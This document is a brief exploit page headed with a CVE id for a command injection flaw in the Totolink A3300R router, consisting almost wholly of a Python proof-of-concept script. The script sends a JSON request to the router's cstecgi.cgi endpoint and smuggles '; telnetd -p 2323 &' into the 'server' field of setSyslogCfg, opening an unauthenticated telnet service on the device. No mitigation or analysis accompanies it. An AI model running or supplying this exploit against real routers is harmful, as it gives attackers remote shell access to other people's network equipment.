CVE-2026-5176 Totolink A3300R 命令注入漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Malicious payload to inject command (e.g., telnetd) # The vulnerability affects the 'setSyslogCfg' function. # We inject a command using a semicolon to break the original logic. payload = { "function": "setSyslogCfg", "action": "start", "logfile": "/tmp/log.txt", "server": "; telnetd -p 2323 &" # Injected command } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0;)" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")